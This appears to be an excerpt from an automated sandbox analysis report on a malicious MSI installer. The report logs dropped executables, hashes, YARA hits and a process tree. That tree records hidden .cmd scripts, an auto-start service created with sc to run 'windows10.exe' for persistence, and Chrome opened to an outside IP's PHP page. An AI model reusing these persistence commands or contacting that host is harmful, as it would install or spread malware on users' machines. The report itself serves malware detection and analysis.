Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_008FB5B8	14_2_008FB5B8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BE46C4	14_2_00BE46C4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BE5E64	14_2_00BE5E64
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00C03B88	14_2_00C03B88
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BFEB1C	14_2_00BFEB1C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BE86F0	14_2_00BE86F0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BE714B	14_2_00BE714B
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00C8629F	14_2_00C8629F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00C86C97	14_2_00C86C97
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00C86EAC	14_2_00C86EAC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00CD87ED	14_2_00CD87ED
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00CC1D5A	14_2_00CC1D5A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B4B19D	14_2_01B4B19D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B47D70	14_2_01B47D70
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B480D6	14_2_01B480D6
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B3C303	14_2_01B3C303
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B40B62	14_2_01B40B62
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B49F5A	14_2_01B49F5A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B3F223	14_2_01B3F223
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B49E29	14_2_01B49E29
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01DF05D7	14_2_01DF05D7
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01DEF000	14_2_01DEF000
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01DEF720	14_2_01DEF720
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01C8773A	14_2_01C8773A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01C844C4	14_2_01C844C4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01C85C1F	14_2_01C85C1F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00ADB5B8	26_2_00ADB5B8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00D86710	26_2_00D86710
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00CBA2CD	26_2_00CBA2CD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00D97410	26_2_00D97410
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00CF46B0	26_2_00CF46B0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00CCD9E0	26_2_00CCD9E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00CB2AA0	26_2_00CB2AA0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00CB5A34	26_2_00CB5A34
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00CB9F4D	26_2_00CB9F4D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00D79F6C	26_2_00D79F6C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00B0FD40	26_2_00B0FD40
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00DC46C4	26_2_00DC46C4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00DC5E64	26_2_00DC5E64
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00DC86F0	26_2_00DC86F0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00DC714B	26_2_00DC714B
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00DE3B88	26_2_00DE3B88
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00DDEB1C	26_2_00DDEB1C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00EB87ED	26_2_00EB87ED
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00EA1D5A	26_2_00EA1D5A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00E66EAC	26_2_00E66EAC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00E66C97	26_2_00E66C97
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00E6629F	26_2_00E6629F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5E5B7	26_2_01F5E5B7
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_020ED669	26_2_020ED669
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_02012686	26_2_02012686
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5CD4B	26_2_01F5CD4B
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5D938	26_2_01F5D938
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F608E9	26_2_01F608E9
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5BCBE	26_2_01F5BCBE
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5CFB0	26_2_01F5CFB0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F613B3	26_2_01F613B3
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5A77A	26_2_01F5A77A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F60B6A	26_2_01F60B6A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_0200C8D7	26_2_0200C8D7
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_01F5DF1F	26_2_01F5DF1F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_02042933	26_2_02042933

Source: Joe Sandbox View	Dropped File: C:\Users\user\Pictures\fotosdaviagem\windows10.exe 585741CA3C4041BB39D107F1F159D908650967FBCCAC3A491BCA389CC4BA0769
Source: Joe Sandbox View	Dropped File: C:\Windows\Installer\MSID686.tmp 42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: String function: 004085D0 appears 39 times
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: String function: 00408246 appears 69 times
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: String function: 00408213 appears 100 times
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: String function: 00BFC298 appears 37 times
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: String function: 00DDC298 appears 37 times
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: String function: 00D98213 appears 100 times
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: String function: 00D98246 appears 69 times
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: String function: 00D985D0 appears 39 times

Source: StarBurn.dll.2.dr

Static PE information: Number of sections : 13 > 10

Source: hBqTrQLya4.msi	Binary or memory string: OriginalFilenameviewer.exeF vs hBqTrQLya4.msi
Source: hBqTrQLya4.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs hBqTrQLya4.msi

Source: classification engine

Classification label: mal84.evad.winMSI@44/35@2/4

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_003E61D0 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,CloseHandle,Process32NextW,CloseHandle,

12_2_003E61D0

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_003E6EE0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,IUnknown_QueryInterface_Proxy,IUnknown_QueryInterface_Proxy,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,LocalFree,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

12_2_003E6EE0

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_003E1D70 LoadResource,LockResource,SizeofResource,

12_2_003E1D70

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CMLD965.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user~1\AppData\Local\Temp\MSI9cfef.LOG

Jump to behavior

Source: Yara match	File source: 00000020.00000002.2509121919.0000000000A41000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2499757267.0000000000931000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2500173208.0000000000AD1000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2500873728.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2500761297.0000000000951000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2499650796.00000000009A1000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_Processor

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hBqTrQLya4.msi

ReversingLabs: Detection: 31%

Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\hBqTrQLya4.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6BAD67B4EB347E35097C3D98448E2079
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIDD62.tmp "C:\Windows\Installer\MSIDD62.tmp" /DontWait /HideWindow "C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIDD92.tmp "C:\Windows\Installer\MSIDD92.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MeuServico
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://45.90.123.184/clientes/inspecionando.php
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,3053730682193171380,1241186122492042118,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom.
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6BAD67B4EB347E35097C3D98448E2079	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIDD62.tmp "C:\Windows\Installer\MSIDD62.tmp" /DontWait /HideWindow "C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIDD92.tmp "C:\Windows\Installer\MSIDD92.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe"	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom.	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MeuServico	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://45.90.123.184/clientes/inspecionando.php	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,3053730682193171380,1241186122492042118,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
